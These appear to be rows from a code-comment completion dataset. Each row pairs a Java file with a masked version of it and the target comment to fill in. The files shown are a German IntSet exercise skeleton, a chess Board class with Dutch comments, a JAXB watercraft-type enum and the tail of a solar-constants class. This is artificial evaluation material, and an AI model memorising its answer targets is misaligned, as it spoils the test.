Gdx.app.log("PhysicsDebug", xyzTemp + String.format("%.3f %.3f %.3f", normal.x, normal.y, normal.z));
}
}
public static class Sun {
public static final String spectralClass = "GV2 (main sequence)";
//mass: nominal solar mass parameter: GM⊙ = 1.3271244 × 10^20 m3 s−2 or 1.9885 × 10^30 kg.
public static final double mass = 1.9885 * Math.pow(10, 30);//kg
//radius: nominal solar radius R⊙ = 6.957 × 10^8 m
public static final double radius = 6.957 * Math.pow(10, 8);//m
//effective temperature
public static final double kelvin = 5772; //K
//5772K = 502nm = 597 THz = green light
public static final double peakWavelength = temperatureToWavelength(kelvin) * 1000000;
//luminosity: 1 sol -> L⊙ = nominal solar luminosity: L⊙ = 3.828 × 10^26 W
public static final double luminosity = 3.828 * Math.pow(10, 26); //Watts
//public static final age = 4.78 billion years
//AU Astronomical unit: roughly the distance from Earth to the Sun ~1.495978707 × 10^11 m
public static final long astronomicalUnit = 149597870700L;
}
}
|
194699_31 | /**
* Mengen nichtnegativer ganzer Zahlen in kompakter
* Speicherrepraesentation: ob eine Zahl in der Menge enthalten
* ist, wird durch EIN BIT im Speicher erfasst!
*
* <br>
* Beispiel:
* <br>
* <code>
* <br>IntSet set = new IntSet(8);
* <br>int a[] = { 1, 3, 4, 5 };
* <br>set.include( a );
* <br>
* <br> ... +---+---+---+---+---+---+---+---+
* <br> ... | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 |
* <br> ... +---+---+---+---+---+---+---+---+
* <br></code>
*/
public class IntSet implements Iterable<Integer> {
private static final int BitsPerWord = Integer.SIZE;
// TODO: Instanzvariablen deklarieren
private int capacity;
/**
* Konstruiert ein leere Zahlenmenge der Kapazitaet <code>n</code>:
* eine Menge, die (nichtnegative ganze) Zahlen im
* Bereich 0 bis n-1 als Elemente enthalten kann.
*
* @param n die Kapazitaet der Menge
*/
public IntSet(int n) {
// TODO: Konstruktor implementieren
capacity = n;
}
/**
* Ermittelt die Kapazitaet der Menge.
*
* @return die Kapazitaet der Menge
*/
public int capacity() {
// TODO: Anzahl potenziell enthaltener Elemente zurueckgeben
return capacity;
}
/**
* Erzeugt aus <code>this</code> eine neue (identisch belegte) Zahlenmenge,
* die Werte im Bereich 0 bis n-1 als Elemente enthalten kann.
*
* Die Originalmenge bleibt unveraendert!
*
* @param n die Kapazitaet der Ergebnismenge
* @return die Ergebnismenge mit veraenderter Kapazitaet
*/
public IntSet resize(int n) {
IntSet s = new IntSet(n);
// TODO: urspruengliche Elemente uebernehmen
return s;
}
/**
* Ermittelt, ob eine nicht-negative ganze Zahl in der Menge enthalten ist.
*
* @param e eine nichtnegative ganze Zahl
* @return ist e in dieser Menge enthalten?
*/
public boolean contains(int e) {
// TODO: Bit an der richtigen Stelle isolieren und zurueckgeben
return false;
}
/**
* Nimmt die Zahl <code>e</code> in diese Menge auf.
*
* @param e eine nichtnegative ganze Zahl zwischen 0 und capacity
*/
public void insert(int e) {
// TODO: Position im IntSet berechnen und entsprechendes Bit setzen
}
/**
* Nimmt alle Elemente aus dem Array <code>es</code> in die Menge auf.
*
* @param es ein Array von nichtnegativen ganzen Zahlen
*/
public void insert(int es[]) {
// TODO: alle Elemente im Array einfuegen
}
/**
* Entfernt die Zahl <code>e</code> aus dieser Menge.
*
* @param e eine nichtnegative ganze Zahl zwischen 0 und capacity
*/
public void remove(int e) {
// TODO: Position im IntSet berechnen und entsprechendes Bit nullen
}
/**
* Entfernt alle Elemente aus dem Array <code>es</code> aus der Menge.
*
* @param es ein Array von nichtnegativen ganzen Zahlen
*/
public void remove(int[] es) {
// TODO: alle Elemente aus dem Array entfernen
}
/**
* Berechnet die Komplementaermenge zu dieser Menge: die Menge gleicher
* Kapazitaet, die genau alle Elemente enthaelt, die nicht in
* <code>this</code> enthalten sind.
*
* Originalmenge bleibt unveraendert !
*
* @return die Komplementaermenge
*/
public IntSet complement() {
// TODO: alle Elemente identifizieren, die nicht in dieser Menge enthalten sind
return null;
}
/**
* Erzeuge aus <code>s1</code> und <code>s2</code> die Vereinigungsmenge
* <br>
* es wird eine Menge der Kapazitaet der groesseren
* Kapazitaet der beiden Mengen erzeugt
* <br>
* <code>s1</code> und <code>s2</code> bleiben unveraendert !
*
* @param s1 Mengen, die
* @param s2 verknuepft werden sollen
* @return die Vereinigungsmenge
*/
public static IntSet union(IntSet s1, IntSet s2) {
// TODO: alle Elemente identifizieren, die in s1 oder s2 enthalten sind
return null;
}
/**
* Erzeuge aus <code>s1</code> und <code>s2</code> die symmetrische
* Differenzmenge.
*
* Die Eingabemengen bleiben unveraendert!
*
* @param s1 erste Menge
* @param s2 zweite Menge
* @return die symmetrische Differenzmenge
*/
public static IntSet intersection(IntSet s1, IntSet s2) {
// TODO: alle Elemente identifizieren, die in s1 und s2 enthalten sind
return null;
}
/**
* Erzeugt aus <code>s1</code> und <code>s2</code> die Differenzmenge mit
* der Kapazitaet von s1.
*
* Beide Eingabemengen bleiben unveraendert!
*
* @param s1 erste Menge
* @param s2 zweite Menge
* @return die Differenzmenge
*/
public static IntSet difference(IntSet s1, IntSet s2) {
// TODO: alle Elemente identifizieren, die in s1 aber nicht in s2 sind
return null;
}
/**
* Stringrepraesentation der Bits dieser Menge beginnend mit Index 0,
* etwa "01011100".
*
* @return Stringrepraesentation der Bits der Menge
*/
public String bits() {
String bitString = "";
// TODO: Bitstring konstruieren: 1 falls das Element enthalten ist, 0 sonst
return bitString;
}
/**
* Ermittelt die Stringrepraesentation dieser Menge, etwa "{1, 3, 4, 6}".
*
* @return Stringrepraesentation der Menge
*/
@Override
public String toString() {
String s = "{";
// TODO: Indizes aller enthaltenen Elemente kommasepariert ausgeben
return s + "}";
}
/**
* Erzeugt einen Iterator, mit dem ueber die Menge iteriert werden kann:
* <br>
* <code>
* <br>for (IntSet.Iterator it = menge.iterator(); it.hasNext(); )
* <br> { ... it.next() ... }
* </code>
*
* @return ein Iterator auf diese Menge
*/
@Override
public Iterator iterator() {
return new Iterator(this);
}
/**
* IntSet Mengen-Iterator
*/
public class Iterator implements java.util.Iterator<Integer> {
// TODO: Instanzvariablen deklarieren
/**
* Erzeugt einen Iterator ueber <code>s</code>.
*
* @param s die Menge, ueber die iteriert werden soll
*/
public Iterator(IntSet s) {
// TODO: Initialisierung der Instanzvariablen
}
/**
* Ermittelt, ob noch weitere Elemente in der Menge existieren.
*/
@Override
public boolean hasNext() {
// TODO: ermitteln, ob weitere Elemente im IntSet sind
return false;
}
/**
* Gibt das naechste Element zurueck und setzt den Iterator weiter.
*
* @return das naechste Element
*/
@Override
public Integer next() {
// TODO: naechstes (enthaltenes) Element zurueckgeben
return -1;
}
}
}
| 0dentitaet/gdp | gdp/IntSet.java | 2,233 | /**
* IntSet Mengen-Iterator
*/ | block_comment | nl | /**
* Mengen nichtnegativer ganzer Zahlen in kompakter
* Speicherrepraesentation: ob eine Zahl in der Menge enthalten
* ist, wird durch EIN BIT im Speicher erfasst!
*
* <br>
* Beispiel:
* <br>
* <code>
* <br>IntSet set = new IntSet(8);
* <br>int a[] = { 1, 3, 4, 5 };
* <br>set.include( a );
* <br>
* <br> ... +---+---+---+---+---+---+---+---+
* <br> ... | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 |
* <br> ... +---+---+---+---+---+---+---+---+
* <br></code>
*/
public class IntSet implements Iterable<Integer> {
private static final int BitsPerWord = Integer.SIZE;
// TODO: Instanzvariablen deklarieren
private int capacity;
/**
* Konstruiert ein leere Zahlenmenge der Kapazitaet <code>n</code>:
* eine Menge, die (nichtnegative ganze) Zahlen im
* Bereich 0 bis n-1 als Elemente enthalten kann.
*
* @param n die Kapazitaet der Menge
*/
public IntSet(int n) {
// TODO: Konstruktor implementieren
capacity = n;
}
/**
* Ermittelt die Kapazitaet der Menge.
*
* @return die Kapazitaet der Menge
*/
public int capacity() {
// TODO: Anzahl potenziell enthaltener Elemente zurueckgeben
return capacity;
}
/**
* Erzeugt aus <code>this</code> eine neue (identisch belegte) Zahlenmenge,
* die Werte im Bereich 0 bis n-1 als Elemente enthalten kann.
*
* Die Originalmenge bleibt unveraendert!
*
* @param n die Kapazitaet der Ergebnismenge
* @return die Ergebnismenge mit veraenderter Kapazitaet
*/
public IntSet resize(int n) {
IntSet s = new IntSet(n);
// TODO: urspruengliche Elemente uebernehmen
return s;
}
/**
* Ermittelt, ob eine nicht-negative ganze Zahl in der Menge enthalten ist.
*
* @param e eine nichtnegative ganze Zahl
* @return ist e in dieser Menge enthalten?
*/
public boolean contains(int e) {
// TODO: Bit an der richtigen Stelle isolieren und zurueckgeben
return false;
}
/**
* Nimmt die Zahl <code>e</code> in diese Menge auf.
*
* @param e eine nichtnegative ganze Zahl zwischen 0 und capacity
*/
public void insert(int e) {
// TODO: Position im IntSet berechnen und entsprechendes Bit setzen
}
/**
* Nimmt alle Elemente aus dem Array <code>es</code> in die Menge auf.
*
* @param es ein Array von nichtnegativen ganzen Zahlen
*/
public void insert(int es[]) {
// TODO: alle Elemente im Array einfuegen
}
/**
* Entfernt die Zahl <code>e</code> aus dieser Menge.
*
* @param e eine nichtnegative ganze Zahl zwischen 0 und capacity
*/
public void remove(int e) {
// TODO: Position im IntSet berechnen und entsprechendes Bit nullen
}
/**
* Entfernt alle Elemente aus dem Array <code>es</code> aus der Menge.
*
* @param es ein Array von nichtnegativen ganzen Zahlen
*/
public void remove(int[] es) {
// TODO: alle Elemente aus dem Array entfernen
}
/**
* Berechnet die Komplementaermenge zu dieser Menge: die Menge gleicher
* Kapazitaet, die genau alle Elemente enthaelt, die nicht in
* <code>this</code> enthalten sind.
*
* Originalmenge bleibt unveraendert !
*
* @return die Komplementaermenge
*/
public IntSet complement() {
// TODO: alle Elemente identifizieren, die nicht in dieser Menge enthalten sind
return null;
}
/**
* Erzeuge aus <code>s1</code> und <code>s2</code> die Vereinigungsmenge
* <br>
* es wird eine Menge der Kapazitaet der groesseren
* Kapazitaet der beiden Mengen erzeugt
* <br>
* <code>s1</code> und <code>s2</code> bleiben unveraendert !
*
* @param s1 Mengen, die
* @param s2 verknuepft werden sollen
* @return die Vereinigungsmenge
*/
public static IntSet union(IntSet s1, IntSet s2) {
// TODO: alle Elemente identifizieren, die in s1 oder s2 enthalten sind
return null;
}
/**
* Erzeuge aus <code>s1</code> und <code>s2</code> die symmetrische
* Differenzmenge.
*
* Die Eingabemengen bleiben unveraendert!
*
* @param s1 erste Menge
* @param s2 zweite Menge
* @return die symmetrische Differenzmenge
*/
public static IntSet intersection(IntSet s1, IntSet s2) {
// TODO: alle Elemente identifizieren, die in s1 und s2 enthalten sind
return null;
}
/**
* Erzeugt aus <code>s1</code> und <code>s2</code> die Differenzmenge mit
* der Kapazitaet von s1.
*
* Beide Eingabemengen bleiben unveraendert!
*
* @param s1 erste Menge
* @param s2 zweite Menge
* @return die Differenzmenge
*/
public static IntSet difference(IntSet s1, IntSet s2) {
// TODO: alle Elemente identifizieren, die in s1 aber nicht in s2 sind
return null;
}
/**
* Stringrepraesentation der Bits dieser Menge beginnend mit Index 0,
* etwa "01011100".
*
* @return Stringrepraesentation der Bits der Menge
*/
public String bits() {
String bitString = "";
// TODO: Bitstring konstruieren: 1 falls das Element enthalten ist, 0 sonst
return bitString;
}
/**
* Ermittelt die Stringrepraesentation dieser Menge, etwa "{1, 3, 4, 6}".
*
* @return Stringrepraesentation der Menge
*/
@Override
public String toString() {
String s = "{";
// TODO: Indizes aller enthaltenen Elemente kommasepariert ausgeben
return s + "}";
}
/**
* Erzeugt einen Iterator, mit dem ueber die Menge iteriert werden kann:
* <br>
* <code>
* <br>for (IntSet.Iterator it = menge.iterator(); it.hasNext(); )
* <br> { ... it.next() ... }
* </code>
*
* @return ein Iterator auf diese Menge
*/
@Override
public Iterator iterator() {
return new Iterator(this);
}
/**
* IntSet Mengen-Iterator
<SUF>*/
public class Iterator implements java.util.Iterator<Integer> {
// TODO: Instanzvariablen deklarieren
/**
* Erzeugt einen Iterator ueber <code>s</code>.
*
* @param s die Menge, ueber die iteriert werden soll
*/
public Iterator(IntSet s) {
// TODO: Initialisierung der Instanzvariablen
}
/**
* Ermittelt, ob noch weitere Elemente in der Menge existieren.
*/
@Override
public boolean hasNext() {
// TODO: ermitteln, ob weitere Elemente im IntSet sind
return false;
}
/**
* Gibt das naechste Element zurueck und setzt den Iterator weiter.
*
* @return das naechste Element
*/
@Override
public Integer next() {
// TODO: naechstes (enthaltenes) Element zurueckgeben
return -1;
}
}
}
|
21772_5 | package gameapplication.model.chess;
import gameapplication.model.MoveManager;
import gameapplication.model.chess.piece.Piece;
import gameapplication.model.chess.piece.PieceColor;
import gameapplication.model.chess.piece.PieceSets;
import gameapplication.model.chess.piece.pieces.King;
import gameapplication.model.chess.piece.pieces.Piecetype;
import gameapplication.model.chess.spot.Spot;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Random;
/**
* The Board class is the main class of the game. It contains all the pieces and the methods to move them
*/
public class Board {
// Creating an array of pieces.
private Piece[][] pieceIntern;
//creer 2 pieceSets voor black and white
private PieceSets[] pieceSets = new PieceSets[2];
private Player[] players;
//initiliseer laatse ronde kleur met wit;
private PieceColor lastTurnColor = PieceColor.WHITE;
//creer een moveManager
private MoveManager moveManager;
private Player currentPlayer;
private boolean checkedState;
private PieceColor checkedColor;
private boolean gameOver = false;
public Board() {
//Creer 2 pieceSets
pieceSets[0] = new PieceSets(PieceColor.WHITE);
pieceSets[1] = new PieceSets(PieceColor.BLACK);
moveManager = new MoveManager(this);
players = new Player[2];
drawBoard();
}
public void generatePlayers() {
Random random = new Random();
int generatedRandomColor = random.nextInt(2);
//Zet een random kleur
players[0].setColor(PieceColor.values()[generatedRandomColor]);
//Zet de omgekeerde van de eerste kleur
players[1].setColor(PieceColor.values()[generatedRandomColor == 0 ? 1 : 0]);
//Zet huidige speler
currentPlayer = players[0];
}
/**
* For each piece set, for each piece in the piece set, set the piece's location to the piece's location
*/
public void drawBoard() {
pieceIntern = new Piece[8][8];
//Update each spot with the latest piece -> get it's type
for (PieceSets pieceSet : pieceSets) {
for (Piece piece : pieceSet.getPieces()) {
pieceIntern[piece.getColumn()][piece.getRow()] = piece;
//Zet de piece bij de bijhorende spot
pieceIntern[piece.getColumn()][piece.getRow()].getPieceLocation().setPiece(piece);
piece.getPieceLocation().setPiece(piece);
}
}
}
/**
* Find the next player in the list of players
*/
public void switchPlayer() {
//Loop through players
for (Player pl : players) {
// Find the next player
if (pl.getColor() != lastTurnColor) {
currentPlayer = pl;
}
}
lastTurnColor = currentPlayer.getColor();
}
public void nextTurn() {
drawBoard();
}
/**
* Check if the king is in check, and if so, check if it's checkmate
*/
public void checkForCheck() {
// Get all pieces from current player
List<Piece> pieces = getPieceSets()[getArrayIndexForColor(getCurrentPlayer().getColor())].getPieces();
// Initialize the king
King king = null;
// Find the king
for (Iterator<Piece> iterator = pieces.iterator(); iterator.hasNext(); ) {
Piece next = iterator.next();
if (next.getPieceType() == Piecetype.KING) {
king = (King) next;
break;
}
}
// Check if king is in check
boolean isCheck = king.isCheck(this);
// Put the status of isCheck, in the current players pieceSet
pieceSets[getArrayIndexForColor(getCurrentPlayer().getColor())].setChecked(isCheck);
// If, it's check
if (isCheck) {
// Set the color of the player, to later be retrieved by the presenter
setCheckedColor(getCurrentPlayer().getColor());
}
// Add the state to the board
setCheckedState(isCheck);
if (isCheck) {
checkForCheckmate();
}
}
// The above code is looping through all the pieces of the current player and checking if the piece can move to any of
// the spots in the valid moves array. If the spot is null, then it is not a valid move. If the spot is not null, then
// it is a valid move. If the spot is not null and the test move returns false, then the spot will evade the check.
public void checkForCheckmate() {
// Get all pieces from current player
List<Piece> pieces = getPieceSets()[getArrayIndexForColor(getCurrentPlayer().getColor())].getPieces();
//Keep a list of available moves to make during chess
List<Spot> availableMovesDuringChess = new ArrayList<>();
//loop through the pieces
for (Iterator<Piece> iterator = pieces.iterator(); iterator.hasNext(); ) {
Piece next = iterator.next();
//get the array of the current piece valid move
Spot[][] validSpots = next.validMoves(this);
//loop through them
for (Spot[] columns : validSpots) {
for (Spot spot : columns) {
if (spot == null) continue;
//if the test move return false, then the spot will evade the check
if (!moveManager.testMove(spot, next.getPieceLocation())) {
availableMovesDuringChess.add(spot);
}
}
}
}
//if list is empty, then checkmate
if (availableMovesDuringChess.isEmpty()) {
setGameOver(true);
}
}
// This is a getter method. It is used to get the value of a variable.
public Piece getPieceFromSpot(int column, int row) {
return pieceIntern[column][row];
}
public PieceColor getLastTurnColor() {
return lastTurnColor;
}
public MoveManager getMoveManager() {
return moveManager;
}
public Player getCurrentPlayer() {
return currentPlayer;
}
//get pieces by color from board
/**
* Get all the pieces from the internal board with the same color as the given color
*
* @param color The color of the pieces you want to get.
* @return A list of pieces with the same color as the parameter.
*/
public List<Piece> getPiecesFromInternalBoard(PieceColor color) {
//Initialize a list of piece as type
List<Piece> pieces = new ArrayList<>();
//Loop through pieces
for (Piece[] pieceColumns : getPieceIntern()) {
for (Piece piece : pieceColumns) {
if (piece != null && piece.getPieceColor() == color) {
//add the piece with same color
pieces.add(piece);
}
}
}
return pieces;
}
//Get array index of piecesets array
/**
* Given a color, return the array index for that color
*
* @param color The color of the piece.
* @return The index of the array that corresponds to the color.
*/
public int getArrayIndexForColor(PieceColor color) {
return color == PieceColor.WHITE ? 0 : 1;
}
/**
* This function returns the piece array
*
* @return The pieceIntern array.
*/
public Piece[][] getPieceIntern() {
return pieceIntern;
}
/**
* It sets the checked state of the checkbox.
*
* @param checkedState A boolean value that indicates whether the checkbox is checked or not.
*/
public void setCheckedState(boolean checkedState) {
this.checkedState = checkedState;
}
/**
* Returns the checked state of the checkbox
*
* @return The checked state of the checkbox.
*/
public boolean getCheckedState() {
return checkedState;
}
/**
* Get the king of a given color
*
* @param color The color of the piece you want to get.
* @return The King object for the specified color.
*/
public King getKing(PieceColor color) {
return pieceSets[getArrayIndexForColor(color)].getKing();
}
/**
* Given the current player's color, return the opponent's color
*
* @return The color of the opponent.
*/
public PieceColor getOpponentColor() {
// This is a ternary operator. It is a shorthand way of writing an if statement.
return getCurrentPlayer().getColor() == PieceColor.WHITE ? PieceColor.BLACK : PieceColor.WHITE;
}
/**
* It sets the checked color of the checkbox.
*
* @param checkedColor The color of the piece that is currently checked.
*/
public void setCheckedColor(PieceColor checkedColor) {
this.checkedColor = checkedColor;
}
/**
* Returns the color of the piece that is currently being checked
*
* @return The color that is checked.
*/
public PieceColor getCheckedColor() {
return checkedColor;
}
/**
* Returns an array of all the players in the game
*
* @return An array of Player objects.
*/
public Player[] getPlayers() {
return players;
}
/**
* It sets the players array to the players array passed in.
*
* @param players An array of Player objects.
*/
public void setPlayers(Player[] players) {
this.players = players;
}
// Setting the value of the variable `gameOver` to the value of the parameter `gameOver`.
/**
* It sets the gameOver variable to the value passed in.
*
* @param gameOver boolean
*/
private void setGameOver(boolean gameOver) {
this.gameOver = gameOver;
}
/**
* Return true if the game is over, otherwise return false.
*
* @return A boolean value.
*/
public boolean isGameOver() {
return gameOver;
}
/**
* Add a player to the game
*
* @param name The name of the player.
* @param index The index of the player to add.
*/
public void addPlayer(String name, int index) {
players[index] = new Player(name);
}
/**
* This function returns an array of PieceSets
*
* @return An array of PieceSets.
*/
public PieceSets[] getPieceSets() {
return pieceSets;
}
}
| 0xBienCuit/ChessGame | src/gameapplication/model/chess/Board.java | 2,895 | //Creer 2 pieceSets | line_comment | nl | package gameapplication.model.chess;
import gameapplication.model.MoveManager;
import gameapplication.model.chess.piece.Piece;
import gameapplication.model.chess.piece.PieceColor;
import gameapplication.model.chess.piece.PieceSets;
import gameapplication.model.chess.piece.pieces.King;
import gameapplication.model.chess.piece.pieces.Piecetype;
import gameapplication.model.chess.spot.Spot;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Random;
/**
* The Board class is the main class of the game. It contains all the pieces and the methods to move them
*/
public class Board {
// Creating an array of pieces.
private Piece[][] pieceIntern;
//creer 2 pieceSets voor black and white
private PieceSets[] pieceSets = new PieceSets[2];
private Player[] players;
//initiliseer laatse ronde kleur met wit;
private PieceColor lastTurnColor = PieceColor.WHITE;
//creer een moveManager
private MoveManager moveManager;
private Player currentPlayer;
private boolean checkedState;
private PieceColor checkedColor;
private boolean gameOver = false;
public Board() {
//Creer 2<SUF>
pieceSets[0] = new PieceSets(PieceColor.WHITE);
pieceSets[1] = new PieceSets(PieceColor.BLACK);
moveManager = new MoveManager(this);
players = new Player[2];
drawBoard();
}
public void generatePlayers() {
Random random = new Random();
int generatedRandomColor = random.nextInt(2);
//Zet een random kleur
players[0].setColor(PieceColor.values()[generatedRandomColor]);
//Zet de omgekeerde van de eerste kleur
players[1].setColor(PieceColor.values()[generatedRandomColor == 0 ? 1 : 0]);
//Zet huidige speler
currentPlayer = players[0];
}
/**
* For each piece set, for each piece in the piece set, set the piece's location to the piece's location
*/
public void drawBoard() {
pieceIntern = new Piece[8][8];
//Update each spot with the latest piece -> get it's type
for (PieceSets pieceSet : pieceSets) {
for (Piece piece : pieceSet.getPieces()) {
pieceIntern[piece.getColumn()][piece.getRow()] = piece;
//Zet de piece bij de bijhorende spot
pieceIntern[piece.getColumn()][piece.getRow()].getPieceLocation().setPiece(piece);
piece.getPieceLocation().setPiece(piece);
}
}
}
/**
* Find the next player in the list of players
*/
public void switchPlayer() {
//Loop through players
for (Player pl : players) {
// Find the next player
if (pl.getColor() != lastTurnColor) {
currentPlayer = pl;
}
}
lastTurnColor = currentPlayer.getColor();
}
public void nextTurn() {
drawBoard();
}
/**
* Check if the king is in check, and if so, check if it's checkmate
*/
public void checkForCheck() {
// Get all pieces from current player
List<Piece> pieces = getPieceSets()[getArrayIndexForColor(getCurrentPlayer().getColor())].getPieces();
// Initialize the king
King king = null;
// Find the king
for (Iterator<Piece> iterator = pieces.iterator(); iterator.hasNext(); ) {
Piece next = iterator.next();
if (next.getPieceType() == Piecetype.KING) {
king = (King) next;
break;
}
}
// Check if king is in check
boolean isCheck = king.isCheck(this);
// Put the status of isCheck, in the current players pieceSet
pieceSets[getArrayIndexForColor(getCurrentPlayer().getColor())].setChecked(isCheck);
// If, it's check
if (isCheck) {
// Set the color of the player, to later be retrieved by the presenter
setCheckedColor(getCurrentPlayer().getColor());
}
// Add the state to the board
setCheckedState(isCheck);
if (isCheck) {
checkForCheckmate();
}
}
// The above code is looping through all the pieces of the current player and checking if the piece can move to any of
// the spots in the valid moves array. If the spot is null, then it is not a valid move. If the spot is not null, then
// it is a valid move. If the spot is not null and the test move returns false, then the spot will evade the check.
public void checkForCheckmate() {
// Get all pieces from current player
List<Piece> pieces = getPieceSets()[getArrayIndexForColor(getCurrentPlayer().getColor())].getPieces();
//Keep a list of available moves to make during chess
List<Spot> availableMovesDuringChess = new ArrayList<>();
//loop through the pieces
for (Iterator<Piece> iterator = pieces.iterator(); iterator.hasNext(); ) {
Piece next = iterator.next();
//get the array of the current piece valid move
Spot[][] validSpots = next.validMoves(this);
//loop through them
for (Spot[] columns : validSpots) {
for (Spot spot : columns) {
if (spot == null) continue;
//if the test move return false, then the spot will evade the check
if (!moveManager.testMove(spot, next.getPieceLocation())) {
availableMovesDuringChess.add(spot);
}
}
}
}
//if list is empty, then checkmate
if (availableMovesDuringChess.isEmpty()) {
setGameOver(true);
}
}
// This is a getter method. It is used to get the value of a variable.
public Piece getPieceFromSpot(int column, int row) {
return pieceIntern[column][row];
}
public PieceColor getLastTurnColor() {
return lastTurnColor;
}
public MoveManager getMoveManager() {
return moveManager;
}
public Player getCurrentPlayer() {
return currentPlayer;
}
//get pieces by color from board
/**
* Get all the pieces from the internal board with the same color as the given color
*
* @param color The color of the pieces you want to get.
* @return A list of pieces with the same color as the parameter.
*/
public List<Piece> getPiecesFromInternalBoard(PieceColor color) {
//Initialize a list of piece as type
List<Piece> pieces = new ArrayList<>();
//Loop through pieces
for (Piece[] pieceColumns : getPieceIntern()) {
for (Piece piece : pieceColumns) {
if (piece != null && piece.getPieceColor() == color) {
//add the piece with same color
pieces.add(piece);
}
}
}
return pieces;
}
//Get array index of piecesets array
/**
* Given a color, return the array index for that color
*
* @param color The color of the piece.
* @return The index of the array that corresponds to the color.
*/
public int getArrayIndexForColor(PieceColor color) {
return color == PieceColor.WHITE ? 0 : 1;
}
/**
* This function returns the piece array
*
* @return The pieceIntern array.
*/
public Piece[][] getPieceIntern() {
return pieceIntern;
}
/**
* It sets the checked state of the checkbox.
*
* @param checkedState A boolean value that indicates whether the checkbox is checked or not.
*/
public void setCheckedState(boolean checkedState) {
this.checkedState = checkedState;
}
/**
* Returns the checked state of the checkbox
*
* @return The checked state of the checkbox.
*/
public boolean getCheckedState() {
return checkedState;
}
/**
* Get the king of a given color
*
* @param color The color of the piece you want to get.
* @return The King object for the specified color.
*/
public King getKing(PieceColor color) {
return pieceSets[getArrayIndexForColor(color)].getKing();
}
/**
* Given the current player's color, return the opponent's color
*
* @return The color of the opponent.
*/
public PieceColor getOpponentColor() {
// This is a ternary operator. It is a shorthand way of writing an if statement.
return getCurrentPlayer().getColor() == PieceColor.WHITE ? PieceColor.BLACK : PieceColor.WHITE;
}
/**
* It sets the checked color of the checkbox.
*
* @param checkedColor The color of the piece that is currently checked.
*/
public void setCheckedColor(PieceColor checkedColor) {
this.checkedColor = checkedColor;
}
/**
* Returns the color of the piece that is currently being checked
*
* @return The color that is checked.
*/
public PieceColor getCheckedColor() {
return checkedColor;
}
/**
* Returns an array of all the players in the game
*
* @return An array of Player objects.
*/
public Player[] getPlayers() {
return players;
}
/**
* It sets the players array to the players array passed in.
*
* @param players An array of Player objects.
*/
public void setPlayers(Player[] players) {
this.players = players;
}
// Setting the value of the variable `gameOver` to the value of the parameter `gameOver`.
/**
* It sets the gameOver variable to the value passed in.
*
* @param gameOver boolean
*/
private void setGameOver(boolean gameOver) {
this.gameOver = gameOver;
}
/**
* Return true if the game is over, otherwise return false.
*
* @return A boolean value.
*/
public boolean isGameOver() {
return gameOver;
}
/**
* Add a player to the game
*
* @param name The name of the player.
* @param index The index of the player to add.
*/
public void addPlayer(String name, int index) {
players[index] = new Player(name);
}
/**
* This function returns an array of PieceSets
*
* @return An array of PieceSets.
*/
public PieceSets[] getPieceSets() {
return pieceSets;
}
}
|
208429_0 |
package net.bipro.namespace.datentypen;
import javax.annotation.Generated;
import javax.xml.bind.annotation.XmlEnum;
import javax.xml.bind.annotation.XmlEnumValue;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for ST_Wasserfahrzeugtyp.
*
* <p>The following schema fragment specifies the expected content contained within this class.
* <p>
* <pre>
* <simpleType name="ST_Wasserfahrzeugtyp">
* <restriction base="{http://www.w3.org/2001/XMLSchema}string">
* <enumeration value="01"/>
* <enumeration value="02"/>
* <enumeration value="03"/>
* <enumeration value="04"/>
* <enumeration value="05"/>
* <enumeration value="06"/>
* <enumeration value="07"/>
* <enumeration value="08"/>
* <enumeration value="09"/>
* <enumeration value="10"/>
* <enumeration value="11"/>
* <enumeration value="12"/>
* <enumeration value="13"/>
* <enumeration value="14"/>
* <enumeration value="15"/>
* </restriction>
* </simpleType>
* </pre>
*
*/
@XmlType(name = "ST_Wasserfahrzeugtyp")
@XmlEnum
@Generated(value = "com.sun.tools.xjc.Driver", date = "2021-04-19T05:38:04+02:00", comments = "JAXB RI v2.3.2")
public enum STWasserfahrzeugtyp {
/**
* Motorboote und Motorsegler (Ein Motorboot ist ein von einem oder mehreren Verbrennungsmotoren oder Elektromotoren angetriebenes Wasserfahrzeug.
* Motorsegelschiffe, meistens kurz als Motorsegler oder Fifty-Fifty bezeichnet, sind Yachten, die sowohl mit Segeln als auch unter Motor zufriedenstellend angetrieben werden.)
*
*/
@XmlEnumValue("01")
MOTORBOOTE_MOTORSEGLER("01"),
/**
* Motor-Wasserfahrzeug (Ein Motor-Wasserfahrzeug ist ein von einem oder mehreren Verbrennungsmotoren oder Elektromotoren angetriebenes Wasserfahrzeug, welches z.B. als Fahrgastschiffe und Fährboote der Binnen Schifffahrt, Wattfahrt und kleinen Küstenfahrt genutzt wird.)
*
*/
@XmlEnumValue("02")
MOTOR_WASSERFAHRZEUG("02"),
/**
* Dampf- oder Motorgüterschiff (Ein Motor-Wasserfahrzeug ist ein von einem oder mehreren Verbrennungsmotoren oder Elektromotoren angetriebenes Wasserfahrzeug, welches vorrangig zum Gütertransport genutzt wird. Nicht dazu gehören Tankschiffe.)
*
*/
@XmlEnumValue("03")
DAMPF_MOTORGUETERSCHIFF("03"),
/**
* Tankschiff (Ein Tankschiff, oder kurz Tanker, ist ein Schiff zum Transport von flüssigen Stoffen, wie Wasser, Rohöl, Ölen, Kraftstoffen, Flüssiggas oder petrochemischen Erzeugnissen.)
*
*/
@XmlEnumValue("04")
TANKSCHIFF("04"),
/**
* Schlepper (Schlepper, auch Schleppschiffe genannt,sind Schiffe mit leistungsstarker Antriebsanlage, die zum Ziehen und Schieben anderer Schiffe oder großer schwimmfähiger Objekte eingesetzt werden.)
*
*/
@XmlEnumValue("05")
SCHLEPPER("05"),
/**
* Schleppkahn (Ein Schleppkahn (oder auch Schute) ist ein Schiff ohne eigenen Antrieb, mit dem Frachtgut auf Flüssen und Kanälen transportiert werden.)
*
*/
@XmlEnumValue("06")
SCHLEPPERKAHN("06"),
/**
* Schubboot (Als Schubboot, umgangssprachlich auch Schuber / Schieber, bezeichnet man ein schiebendes Schiff in der Binnenschifffahrt, welches selbst keine Ladung befördert und ein oder mehrere Schubleichter schiebt.
* Die sog. Schubleichter gehören zu der gleichen Klasse/Ausprägung wie Schubboote.)
*
*/
@XmlEnumValue("07")
SCHUBBOOT("07"),
/**
